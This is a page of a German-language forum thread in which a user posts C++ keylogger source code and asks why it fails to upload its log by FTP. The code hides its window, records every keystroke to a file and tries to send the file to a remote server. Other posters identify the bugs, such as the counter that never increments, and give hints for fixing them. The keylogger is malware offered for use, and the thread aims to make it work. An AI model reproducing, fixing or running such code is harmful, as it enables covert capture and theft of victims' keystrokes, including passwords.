Seite 1 von 2 12 LetzteLetzte
Ergebnis 1 bis 10 von 20
  1. #1
    Stiller Leser
    Registriert seit
    22.09.2008
    Beiträge
    4

    Standard C++ Keylogger (upload)

    Hallo,


    Ich versuche derzeit einen Keylogger in C++ zu programmieren.
    Der keylogger soll eine Textdatei per ftp uploaden allerdings klappt das bei mir irgendwie nie^^


    ich hab im Board diesen Quellcode gefunden der aber bei mir nicht funktioniert. Ich benutze Dev C++.

    Code:
    #include "stdafx.h"
    #include <iostream>
    #include <windows.h>
    #include <Winuser.h>
    #include <string>
    #include <fstream>
    using namespace std;
    //Testet ob ein Key abgefragt wurde
    string GetKey(int Key)
    {
       string KeyString = "";
       if (Key == 8)
          KeyString = "[del]";
       else if (Key == 13)
          KeyString = "\n";
       else if (Key == 32)
          KeyString = " ";
       else if (Key == VK_PAUSE)
          KeyString = "[PAUSE]";
       else if (Key == VK_CAPITAL)
          KeyString = "[CAPITAL]";
       else if (Key == VK_SHIFT)
          KeyString = "[SHIFT]";
       else if (Key == VK_TAB)
          KeyString = "[TAB]";
       else if (Key == VK_CONTROL)
          KeyString = "[STRG]";
       else if (Key == VK_ESCAPE)
          KeyString = "[ESC]";
       else if (Key == VK_END)
          KeyString = "[END]";
       else if (Key == VK_HOME)
          KeyString = "[HOME]";
       else if (Key == VK_LEFT)
          KeyString = "[LINKS]";
       else if (Key == VK_RIGHT)
          KeyString = "[RECHTS]";
       else if (Key == VK_UP)
          KeyString = "[HOCH]";
       else if (Key == VK_DOWN)
          KeyString = "[RUNTER]";
       else if (Key == VK_SNAPSHOT)
          KeyString = "[SNAPSHOT]";
       else if (Key == VK_NUMLOCK)
          KeyString = "[NUMLOCK]";
       else if (Key == 190 || Key == 110)
          KeyString = ".";
       //Char klein machen
       else if (Key >=96 && Key <= 105)
          KeyString = Key-48;
       else if (Key > 47 && Key < 60)
          KeyString = Key;
       if (Key != VK_LBUTTON || Key != VK_RBUTTON)
       {
          if (Key > 64 && Key < 91)
          {
             if (GetKeyState(VK_CAPITAL))
                KeyString = Key;
             else
             {
                Key = Key + 32;
                KeyString = Key;
             }
          }
       }
    
       return KeyString;
    }
    
    int main()
    {
       //Fenster verstecken
       SetConsoleTitle(TEXT("abcdefghij"));
       HWND muh = FindWindow(0,TEXT("abcdefghij"));
       ShowWindow(muh,SW_HIDE);
       //End
       string Filename = "log.txt";
       string Temp = "";
       fstream log;
       log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
       int keyvalue = 0; //Anzahl der eingegeben Keys
       while(true)
       {
    
          Sleep(5);
    
          for(int i = 8; i < 191; i++)
          {
             if(GetAsyncKeyState(i)&1 ==1)
             {
                Temp = GetKey (i);
    
                log.write(Temp.c_str(), Temp.size());
                log.close();
                log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
             }
    
          }
          if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
          {
             //Sende log zum ftp server
             system("ftp.exe");//Öffne FTP.exe
             system("open SERVERNAME");//Servername
             system("ftpusername");
             system("ftppasswort");
             system("cd html"); //Verzeichniss
             system("send"); //Senden
             system("log.txt");// Log.txt wird hochgeladen
    
          }
       }
    }

  2. #2
    W32.FunLove
    Registriert seit
    01.08.2008
    Beiträge
    134

    Standard

    Also erstmal ist es kein Programmieren, wenn du nur Codes kopierst.

    Der keylogger soll eine Textdatei per ftp uploaden allerdings klappt das bei mir irgendwie nie^^
    Was genau klappt nicht?

    ich hab im Board diesen Quellcode gefunden der aber bei mir nicht funktioniert. Ich benutze Dev C++.
    Und was klappt hier nicht?!

    Ne also du solltest deine Probleme schon etwas beschreiben...

  3. #3
    Stiller Leser
    Registriert seit
    22.09.2008
    Beiträge
    4

    Standard

    Zunächst kennt er #include "stdafx.h" nicht.

    Wenn ich dies ausschneide und dann starte speichert er alle tastendrücke in log.txt ab.
    So wie ich den Code verstanden habe sollte er nach 1000 eingaben log.txt an den ftp Server senden und genau das tut er bei mir nicht.

    Oder mach ich was falsch ?

  4. #4
    W32.FunLove
    Registriert seit
    01.08.2008
    Beiträge
    134

    Standard

    Jetzt denk doch mal nach und schau dir an wo "keyvalue" verändert wird....-.-

  5. #5
    Stiller Leser
    Registriert seit
    22.09.2008
    Beiträge
    4

    Standard

    meinste


    int keyvalue = 0; //Anzahl der eingegeben Keys

    ?
    wenn ich das auf 1 setze passiert auch nix...

    Aber ich merk ich muss noch VIEL lernen ^^

  6. #6
    Anfänger
    Registriert seit
    22.09.2008
    Beiträge
    16

    Standard

    Hi,
    @Crossfire du musst den Code im Visual Studio öffnen denn #include "stdafx.h gehört zu Visual Studio!

  7. #7
    W32.FunLove
    Registriert seit
    01.08.2008
    Beiträge
    134

    Standard

    Steht da irgendwo im Code was von " keyvalue ++" ?!
    Der Zähler "zählt" doch überhaupt nicht!
    Bei der FTP-Übertragung hast du keine Daten eingegeben-.-
    Außerdem ist system () dafür sowieso ungeeignet.
    Und lern verdammt nochmal C++, bevor du Malware erstellst!

    Zitat Zitat von the|who
    Hi,
    @Crossfire du musst den Code im Visual Studio öffnen denn #include "stdafx.h gehört zu Visual Studio!
    Ja und das musst du natürlich auch machen^^

  8. #8
    Stiller Leser
    Registriert seit
    22.09.2008
    Beiträge
    4

    Standard

    Ich hab ganz bewust keine Daten eingegeben -.-

    Zudem hatte ich auch nie vor es über system() zu senden aber ich finde keine funktionierenden c++ codes dafür und da diese sowieso in diesem code dabei waren...

    außerdem lern ich es doch grad !?

  9. #9
    W32.FunLove
    Registriert seit
    01.08.2008
    Beiträge
    134

    Standard

    Du solltest keine Keylogger programmieren/kopieren , wenn du nicht weißt wie sie funktionieren.
    Lern Variablen, Schleifen, Bedingungen, Funktionen, Klassen und Zeiger. Danach kannst du vielleicht mal böse Programme erstellen.
    Ansonsten hab ich die Frage ja beantwortet

  10. #10
    Anfänger
    Registriert seit
    21.07.2008
    Beiträge
    13

    Standard

    hi,
    @all
    also wenn ich die library Datei "stdafx.h" weglasse, kann ich es kompilieren mit Dev C++ aber irgendwie schickt es die nich an der FTP. Also im Prinzip muss ich doch bei den system() befehlen die bestehenden durch die login daten ersetzten. liegt es an der fehlenden, also an dev c++? wenn ja gibts ne möglichkeit die librarydatei zu ersetzten durch eine standartisierte die auf allen compilern läuft.
    @crossfire: versuch mal in zeile 99 den code zu ändern
    int keyvalue = 0; //Anzahl der eingegeben Keys

    ?
    wenn ich das auf 1 setze passiert auch nix...
    Code:
    if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden[quote]
    steht ja eig. im kommentar!

    danke
    PS: uüs sry.hab grad gesehn dass es schon ne weile her is!
    Entweder man hat ne Linie oder geht auf'n Strich!!!

Seite 1 von 2 12 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •